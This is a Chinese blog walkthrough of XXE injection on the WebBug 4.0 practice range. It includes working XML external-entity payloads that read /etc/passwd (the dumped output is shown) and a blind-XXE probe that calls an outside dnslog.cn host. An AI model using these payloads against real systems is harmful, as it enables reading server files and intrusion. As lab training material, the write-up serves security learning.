

webbug4.0之xxe注入

原创

山山而川 于 2021-04-24 22:59:18 发布 4074 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_44159028/article/details/116108572

版权

关于xxe漏洞，传送门 -> [xxe漏洞详解](#)

1. 页面观察

让我们登录，我们随便输入一个字符如admin，观察页面，出现了xml有关的东西，我们就要怀疑存在xml注入

```
NULL
["xmlEncoding"]=>
NULL
["standalone"]=>
bool(true)
["xmlStandalone"]=>
bool(true)
["version"]=>
string(3) "1.0"
["xmlVersion"]=>
string(3) "1.0"
```

https://blog.csdn.net/qq_44159028

2. 看是否能解析xml数据

这里我们使用burpsuite截取数据包，更好的观察。将以下的测试语句提交到输入框中，如果程序能输出“my name is nMask”则说明能都解析xml数据

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
```

其对我们的输入的语句进行了URL编码，且程序正确解析了xml数据

```
0 Referer: http://192.168.43.36:49153/control/sqlinject/xxe_injection.php
1 Accept-Encoding: gzip, deflate
2 Accept-Language: zh-CN,zh;q=0.9
3 Cookie: PHPSESSID=r2096f657m5aqh8hj4ggjnopv1
4 Connection: close
5
6 data=
%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E++%3C%21DOCTYPE
PE+root+%5B++%3C%21ENTITY+name+%22my+name+is+nMask%22%3E%5D%3E+%3Croot%
3E%26name%3B%3C%2Froot%3E
```

```
string(32) "/var/www/html/control/sqlinject/"
["textContent"]=>
string(16) "my name is nMask"
}
```

2. 读取文件

利用file协议读取/etc/passwd文件，使用burp提交的话需要URL编码

```
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<a>&test;</a>
```

```
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r2096f657m5aqh0hj4ggjnopv1
Connection: close

data=
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%
64%69%6e%67%3d%22%67%62%32%33%31%32%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%4
5%20%61%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45
%4d%20%22%66%69%6c%65%3a%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%
5d%3e%0a%3c%61%3e%26%74%65%73%74%3b%3c%2f%61%3e%11
```

```
80 ["&quot;baseUrl&quot;]=&gt;;
81 string(32) "&quot;/var/www/html/control/sqlinject/&quot;;
82 ["&quot;textContent&quot;]=&gt;;
83 string(1012) "&quot;root:x:0:0:root:/root:/bin/bash
84 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
85 bin:x:2:2:bin:/bin:/usr/sbin/nologin
86 sys:x:3:3:sys:/dev:/usr/sbin/nologin
87 sync:x:4:65534:sync:/bin:/bin/sync
88 games:x:5:60:games:/usr/games:/usr/sbin/nologin
89 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
90 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
91 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
92 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
93 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
94 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
95 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
96 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
97 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
98 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
99 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats
100 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

以上是有回显我们才能看到文件被读取才知道存在xxe漏洞，那假如没有回显了，我们可以使用dnslog来探测是否存在xxe漏洞

3. dnslog探测是否存在xxe漏洞

```
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xhh SYSTEM "http://r4p4om.dnslog.cn">
]>
<a>&xhh;</a>
```

r4p4om.dnslog.cn

DNS Query Record	IP Address	Created Time
r4p4om.dnslog.cn	11...36	2021-04-24 22:33:05
r4p4om.dnslog.cn	21...116	2021-04-24 22:33:05
r4p4om.dnslog.cn	22...17	2021-04-24 22:33:05
r4p4om.dnslog.cn	221...5.85	2021-04-24 22:33:05

说明存在漏洞